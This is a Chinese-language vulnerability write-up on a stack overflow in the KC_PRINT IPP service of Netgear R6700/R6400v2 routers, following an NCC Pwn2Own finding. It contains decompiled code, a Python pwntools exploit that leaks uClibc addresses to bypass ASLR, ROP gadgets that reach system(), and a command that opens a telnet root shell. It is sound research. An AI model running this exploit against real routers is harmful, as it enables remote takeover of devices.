Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析

2022-09-08 Updated on 2026-02-07 VulnerabilityAnalysis

Table of Contents

  1. 漏洞分析
  2. 利用编写
    1. Bypass ASLR
    2. Arbitrary command execution
  3. 参考链接
前言

前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享 的推送。

其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。

注:

分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75

漏洞分析

通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT 这个程序里,所攻击端口为 631 端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。

KC_PRINT 使用不同的线程来处理不同的功能,

而该漏洞是发生在 ipp_server 线程里面的。 其大致入口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
perror("ipp_server: setsockopt SO_REUSEADDR failed");
close(fd);
pthread_attr_destroy(&attr);
pthread_exit(0);
}

s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = htonl(0);
*(_WORD *)s.sa_data = htons(631u);
if ( bind(fd, &s, 0x10u) < 0 ) // 在 631 端口监听
...

listen(fd, 128);

while ( flag )
{
newfd = accept(fd, &addr, &addr_len);
if ( newfd >= 0 )
{
sub_A0FC(1);
v1[0] = 60;
v1[1] = 0;
if ( setsockopt(newfd, 1, 20, v1, 8u) < 0 )
perror("ipp_server: setsockopt SO_RCVTIMEO failed");
Fd = malloc(8u);
if ( Fd )
{
memset(Fd, 0, 8u);
*Fd = newfd;
pthread_mutex_lock(&stru_18B40);
v6 = sub_16068();
if ( v6 < 0 )
{
...
}
else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) )

...

然后会进入到 do_ipp_http_thread 函数里, 该函数会进一步调用一个 do_http 的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
memset(buf, 0, sizeof(buf));
n = recv_n(fd, buf, 1024);
if ( n <= 0 )
return -1;
if ( strstr(buf, "100-continue") )
{
...
}
HTTP_INPUT = strstr(buf, "POST /USB");
if ( !HTTP_INPUT )
return -1;
HTTP_INPUT += 9;
v18 = strstr(HTTP_INPUT, "_LQ");
if ( !v18 )
return -1;
v13 = *v18;
*v18 = 0;
usblp_index = atoi(HTTP_INPUT);
*v18 = v13;
if ( usblp_index > 10 )
return -1;
if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载
return -1;
v22[1] = usblp_index;
HTTP_INPUT = strstr(buf, "Content-Length: ");
if ( !HTTP_INPUT )
{
...
}
HTTP_INPUT += 16;
v18 = strstr(HTTP_INPUT, "\r\n");
if ( !v18 )
return -1;
v13 = *v18;
*v18 = 0;
content_len = atoi(HTTP_INPUT);
*v18 = v13;
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);
if ( n != 8 )
return -1;
if ( (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) )
{
v14 = do_airippWithContentLength(v22, content_len, recv_buf);
if ( v14 < 0 )
return -1;
return 0;
}

首先 n = recv_n(fd, buf, 1024); 接收 1024 的消息,这一部分消息以 \r\n 作为结束标识, 然后会取出 Content-Length: 的值作为 content_len 传入 do_airippWithContentLength 函数中。

在调用 do_airippWithContentLength 函数之前, 还会读取一个 8 字节长度的消息

1
2
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);

该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) 条件的时候才会调用 do_airippWithContentLength 函数。

且进入到 do_airippWithContentLength 函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf)
{
_BYTE *recv_buf; // [sp+18h] [bp-14h]
int v8; // [sp+1Ch] [bp-10h]
int Jobs; // [sp+24h] [bp-8h]

v8 = *a1;
recv_buf = malloc(content_len);
if ( !recv_buf )
return -1;
memcpy(recv_buf, buf, 8u);
if ( toRead(v8, (recv_buf + 8), content_len - 8) >= 0 )
{
if ( recv_buf[2] || recv_buf[3] != 11 )
{
if ( recv_buf[2] || recv_buf[3] != 4 )
{
if ( recv_buf[2] || recv_buf[3] != 8 )
{
if ( recv_buf[2] || recv_buf[3] != 9 )
{
if ( recv_buf[2] || recv_buf[3] != 10 )
{
if ( recv_buf[2] || recv_buf[3] != 5 )
Jobs = sub_D0C8(a1, recv_buf);
else
Jobs = Response_Create_Job(a1, recv_buf, content_len);
}
else
{
Jobs = Response_Get_Jobs(a1, recv_buf, content_len);
}
}
else
{
Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len);
}
}
else
{
printf("Client %d: Cancel-Job\n", v8);
Jobs = sub_10EA0(a1, recv_buf);
}
}


例如此处, 如果我们想调用 Response_Get_Jobs 函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10 的条件, 才能进到 Response_Get_Jobs 函数里。因此我们可以构造如下的消息:

b'\x00\x00\x00\x0a\x00\x00\x99\x99' 让其满足下标为 3 的时候 为 10 即可。

另外, 在 do_http 函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载 的判断,该函数会读取 /proc/printer_status 的内容来判断是否有打印机挂载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( printer_status )
{
fd = open("/proc/printer_status", 0);
if ( fd > 0 )
{
memset(printer_status, 0, 0x400u);
v7 = read(fd, printer_status, 0x400u);
close(fd);
if ( v7 > 0 )
{
*(printer_status + v7) = 0;
memset(s, 0, sizeof(s));
snprintf(s, 0x10u, "usblp%d", usblp_index - 1);
v7 = strstr(printer_status, s) != 0;
free(printer_status);
printer_status = 0;
return v7;
}
else
{
...
}
}

这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。

此时已经进到 do_airippWithContentLength 函数, 该函数会进一步根据 content-len - 8 读取后续的更多消息内容。而这个 content-len 是没有进行长度检查的,这里以 Response_Get_Jobs 函数为例, 来做进一步的分析。

在 Response_Get_Jobs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
flag1 = 0;
prefix_size = 0x4A;
prefix_ptr = malloc(0x4Au);
if ( !prefix_ptr )
{
perror("Response_Get_Jobs: malloc xx");
return -1;
}
memset(prefix_ptr, 0, prefix_size);
cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u);
total += cnt;
if ( *recv_buf == 1 && !recv_buf[1] )
flag1 = 1;
offset += 2;
*(prefix_ptr + total++) = 0;
*(prefix_ptr + total++) = 0;
offset += 2;
total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u);
offset += 4;
v12 = 66;
cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42u);
total += cnt;
++offset; // offest == 09
memset(v9, 0, sizeof(v9));
memset(buf_2048, 0, sizeof(buf_2048));
buf_2048[subffix_offset++] = 5;
if ( !flag1 )
{
while ( recv_buf[offset] != 3 && offset <= content_len )
{
if ( recv_buf[offset] == 0x44 && !flag2 )
{
flag2 = 1;
buf_2048[subffix_offset++] = 68;
copy_len = (recv_buf[offset + 1] << 8) + recv_buf[offset + 2];
cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1], copy_len + 2);
subffix_offset += cnt;
}
++offset; // offset=10
copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
offset += 2 + copy_len; // offset 12
copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
offset += 2; // offset 14
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);
if ( !strcmp(command, "job-media-sheets-completed") )

存在一个缓冲区溢出:

1
2
3
4
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);

此处的 copy_len 是完全可控的, 且 buf_2048 在栈上, 我们只需让 flag1 不等于1 , flag2 等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1] 且 recv_buf[offset] == 0x44 条件即可。

利用编写

该程序保护都没有开启

1
2
3
4
5
6
7
8
9
pwndbg> checksec
[*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

pwndbg>

既没有 canary 也没有 PIE , 这极大的方便了我们的漏洞利用。

系统随机化开启情况:

1
2
# cat /proc/sys/kernel/randomize_va_space
1

ASLR 等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。

我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system 或者 popen 函数,因此 ret2system 的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc 中的 system 地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc 的加载基址。

Bypass ASLR

其实一般这种思路, 我们可以通过 ROP , 调用 write 等函数读取 got 表中的值来做 uclibc 的地址。 但是这个方法我们可能需要知道我们当前链接的 fd 。如果不知道 fd , 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。

进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。

我们可以通过栈溢出, 来覆盖 prefix_ptr 和 prefix_size 通过控制这两个变量,我们就可以通 write_ipp_response 将我们想读取的内容发送回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char command[64]; // [sp+24h] [bp-1090h] BYREF
char buf_2048[2048]; // [sp+64h] [bp-1050h] BYREF
char v9[2048]; // [sp+864h] [bp-850h] BYREF
int v10; // [sp+1064h] [bp-50h]
size_t copy_len; // [sp+1068h] [bp-4Ch]
int v12; // [sp+106Ch] [bp-48h]
size_t cnt; // [sp+1070h] [bp-44h]
size_t prefix_size; // [sp+1074h] [bp-40h]
int total; // [sp+1078h] [bp-3Ch]
void *prefix_ptr; // [sp+107Ch] [bp-38h]
int v17; // [sp+1080h] [bp-34h]
int client_sock; // [sp+1084h] [bp-30h]
int v19; // [sp+1088h] [bp-2Ch]
int v20; // [sp+108Ch] [bp-28h]
char flag1; // [sp+1093h] [bp-21h]
char v22; // [sp+1094h] [bp-20h]
char job_state_resons; // [sp+1095h] [bp-1Fh]
char job_state; // [sp+1096h] [bp-1Eh]
char job_originating_user_name; // [sp+1097h] [bp-1Dh]
char job_name; // [sp+1098h] [bp-1Ch]
char job_id; // [sp+1099h] [bp-1Bh]
char v28; // [sp+109Ah] [bp-1Ah]
char flag2; // [sp+109Bh] [bp-19h]
size_t final_size; // [sp+109Ch] [bp-18h]
int offset; // [sp+10A0h] [bp-14h]
size_t response_len; // [sp+10A4h] [bp-10h]
void *final_ptr; // [sp+10A8h] [bp-Ch]
size_t subffix_offset; // [sp+10ACh] [bp-8h]

最首先的想法肯定是通过覆盖 prefix_ptr 指向 .got 来做读写, 但是如果我们直接的指向了函数的 .got , 例如 strcpy_ptr

1
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8

但是在调用 write_ipp_response 后, 程序会 free(prefix_ptr);

1
2
3
4
5
6
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
free(prefix_ptr);
prefix_ptr = 0;
}

如果是直接控制 prefix_ptr == 000180F0 , 在 free 的过程中会造成崩溃。 最后我们发现当把 prefix_ptr 指向 .got 的开头

1
2
3
4
.got:000180E4                                         ; sub_8C0C+8↑o ...
.got:000180E8 DCD 0
.got:000180EC off_180EC DCD 0 ; DATA XREF: sub_8C0C+C↑r
.got:000180F0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy+8↑r

即将 prefix_ptr 指向 000180E4 是不会崩溃的。

这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash
如果 free(0x00180E4)

pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的

另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf 消息的时候

1
2
3
4
5
6
if ( !flag1 )
{
while ( recv_buf[offset] != 3 && offset <= content_len )
{
if ( recv_buf[offset] == 0x44 && !flag2 )
{

这部分是一个 while 循环,只有当消息为 \x03 的时候, 才会结束循环, 因此我们需要 offset 设置好,

1
2
3
4
5
    offset += copy_len;
.text:00010A30 LDR R2, [R11,#offset]
.text:00010A34 LDR R3, [R11,#copy_len]
.text:00010A38 ADD R3, R2, R3
.text:00010A3C STR R3, [R11,#-0x14]

结束循环到 write_ipp_response 函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command 前设置一个 job-id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    offset += 2;                              // offset 14
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);
if ( !strcmp(command, "job-media-sheets-completed") )
{
v22 = 1;
}
else if ( !strcmp(command, "job-state-reasons") )
{
job_state_resons = 1;
}
else if ( !strcmp(command, "job-name") )
{
job_name = 1;
}
else if ( !strcmp(command, "job-originating-user-name") )
{
job_originating_user_name = 1;
}
else if ( !strcmp(command, "job-state") )
{
job_state = 1;
}
else if ( !strcmp(command, "job-id") )
{
job_id = 1;
}
else
{
if ( v28 )
{
buf_2048[subffix_offset++] = 68;
buf_2048[subffix_offset++] = 0;
buf_2048[subffix_offset++] = 0;
}
cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2], copy_len + 2);
subffix_offset += cnt;
v28 = 1;
}
}
offset += copy_len;
}
}
final_size += prefix_size;
if ( flag1 )
v20 = sub_11D68(v17, 1, 1, 1, 1, 1, 1, v9);
else
v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9);
if ( v20 > 0 )

第二处 final_ptr = malloc(++final_size);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LABEL_54:
*(final_ptr + response_len++) = 3;
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
free(prefix_ptr);
prefix_ptr = 0;
}
if ( final_ptr )
{
free(final_ptr);
final_ptr = 0;
}
if ( v10 )
return -1;
else
return 0;
}
final_ptr = malloc(++final_size);
if ( final_ptr )
{
memset(final_ptr, 0, final_size);
cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size);
response_len += cnt;
goto LABEL_54;
}

我们得让 final_size 的值不能太大,不然分配不出来程序就不会走到 write_ipp_response 里,

1
2
3
4
5
6
7
.text:00010D78 loc_10D78                               ; CODE XREF: Response_Get_Jobs+868↑j
.text:00010D78 LDR R3, [R11,#-0x18]
.text:00010D7C ADD R3, R3, #1
.text:00010D80 STR R3, [R11,#-0x18]
.text:00010D84 LDR R3, [R11,#-0x18]
.text:00010D88 MOV R0, R3 ; size
.text:00010D8C BL malloc

即需要设置 [R11, #-0x18] 的值, 这是在栈上的。 最后我 leak 的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def leak_uclibc():

# recv_buf[2] || recv_buf[3] == 10
recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99'
recv_buf2 = b'\x00\x44\x00\x00\x10\x5d' # 0x1050 is copy_len -> memcpy(command, &recv_buf[offset], copy_len);
recv_buf2 += b'job-id\x00\x00'

junkdata = cyclic(0x104c , n=4)
junkdata = bytearray(junkdata)
junkdata[1026: 1026+ len(cmd)] = cmd
junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe) # finish flag offset
junkdata[0x1048: 0x1048 + 4] = p32(0x20) # malloc size - > final_ptr = malloc(++final_size);
junkdata = bytes(junkdata)

recv_buf2 += junkdata
recv_buf2 += p32(20) # overwrite prrefix_size
recv_buf2 += p32(0x180E4) # overwrite prefix_ptr -> .got start address then free is alive
recv_buf2 += b'\x03'

payload = b'POST /USB1_LQ\r\n'
payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1')
payload += b'\r\n'

p = remote("192.168.1.1", 631)
p.send(payload)
p.send(recv_buf1)
p.send(recv_buf2)

p.recvuntil(b'\r\n\r\n')
p.recvn(8)
_dl_linux_resolve = u32(p.recvn(4))
print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve))
ld_uClibc = _dl_linux_resolve - 0x3e70
print('ld_uClibc : {:#x}'.format(ld_uClibc))
p.recvn(4)
printf_addr = u32(p.recvn(4))
print('printf : {:#x}'.format(printf_addr))
uClibc = printf_addr - 0x360e0
print('uClibc : {:#x}'.format(uClibc))

# system = uClibc + +0x90f4 # system offset
# print('system : {:#x}'.format(system))

return ld_uClibc, uClibc

Leak:

1
2
3
4
5
6
$ python3 exp_ncc_netgear_ipp.py
[+] Opening connection to 192.168.1.1 on port 631: Done
_dl_linux_resolve : 0x40021e70
ld_uClibc : 0x4001e000
printf : 0x401700e0
uClibc : 0x4013a000

Arbitrary command execution

通过泄漏 uclibc 的地址, 然后可以计算 system 的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system 将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1 。

系统随机化开启情况:

1
2
# cat /proc/sys/kernel/randomize_va_space
1

因此我们可以在堆上查找是否有可控的内容, 通过 hexdump 查找。

我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。

1
2
3
4
5
6
7
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd = b'/bin/touch /tmp/hacked'
cmd += b"\x00" * (len(cmd) % 4)

def leak_uclibc():
...
junkdata[1026: 1026+ len(cmd)] = cmd

在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意

  • flag1
  • v17
  • response_len

等变量的值, 要单独重新赋值。

最后我们需要将 R0 的值指向堆上的 0x1b880 地址。 所以我们需要单独几个 gadget , 这里我使用的是两个 gadget 。

首先通过第一个 gadget 控制 R3 为 0x1b880

1
0x00001504 : pop {r3, r4, fp, pc}

然后通过 第二个 gadget 将 R3 的值赋值给 R0 并且控制 PC 跳转到 system 函数上,从而完成任意命令执行。

1
0x00000a80 : mov r0, r3 ; pop {fp, pc}

最后就可以完成任意命令执行了。

参考链接

NCC Con Europe 2022 – Pwn2Own Austin Presentations

分类: VulnerabilityAnalysis
标签: netgear
← Prev CVE-2022-32548 DrayTeck 栈溢出漏洞分析
Next → 2022 QWB Final RealWorld Challenge Writeup

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom